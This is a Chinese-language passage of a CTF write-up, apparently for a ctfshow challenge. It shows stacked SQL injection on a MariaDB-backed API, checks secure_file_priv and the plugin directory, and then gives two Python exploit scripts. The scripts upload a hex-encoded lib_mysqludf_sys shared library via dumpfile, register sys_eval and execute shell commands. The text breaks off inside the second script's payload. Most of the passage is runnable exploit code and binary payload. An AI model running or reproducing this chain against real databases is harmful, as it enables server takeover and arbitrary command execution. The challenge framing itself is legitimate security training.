1 2 1 ';select version();# # {"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"version()":"10.3.18-MariaDB"}]}
看一下可操作路径
1 1 ';show global variables like "%secure%";#
发现
{“Variable_name”:”secure_auth”,”Value”:”ON”},{“Variable_name”:”secure_file_priv”,”Value”:””},{“Variable_name”:”secure_timestamp”,”Value”:”NO”}]}
@@secure_file_priv: null
不能写入文件,所以写木马的方式也失效了,要是能提权写文件就好了
接着看看plugin目录路径
{“@@plugin_dir”:”/usr/lib/mariadb/plugin/“}]}
目录/usr/lib/mariadb/plugin/
具体手操见上面学习文章中的步骤
这里放个脚本(靶机是linux的,url和文件目录根据需要进行修改)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import requestsurl="http://419e5714-21cb-4a29-82d4-cecf0bb82bf7.challenge.ctf.show:8080/api/" payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+" acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+" text = ['a' ,'b' ,'c' ,'d' ] udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000" udf_text=[] for i in range (0 ,20000 ,5000 ): end = i+5000 udf_text.append(udf[i:end]) p = dict (zip (text,udf_text)) for t in text: param=payload.format (p[t],t) get_url = url + param res = requests.get(get_url) print ("[*]" ,end="" ) code = res.status_code print (code,end="" ) if code==404 : print ("你输入的URL可能出错" ) acq=acquire.format (t) data=url+acq res = requests.get(url=data) if "load_file" in res.text: print ("-->成功插入{}.txt" .format (t)) print ("[*]导入udf.so成功" )url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+" res= requests.get(url=url+url_sys_dll) print ("[*]创建函数sys_eval()成功" )url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+" res= requests.get(url=url+url_sys_function) print ("[*]命令执行结果: " )sys_eval="?id=';select sys_eval('cat /flag.*')--+" res= requests.get(url=url+sys_eval) print (res.text)
还有另外的师傅写了个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import requestsurl = 'http://c4cfac67-eec1-4378-ac1b-75c52840f816.challenge.ctf.show:8080/api/?id=' code = '7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000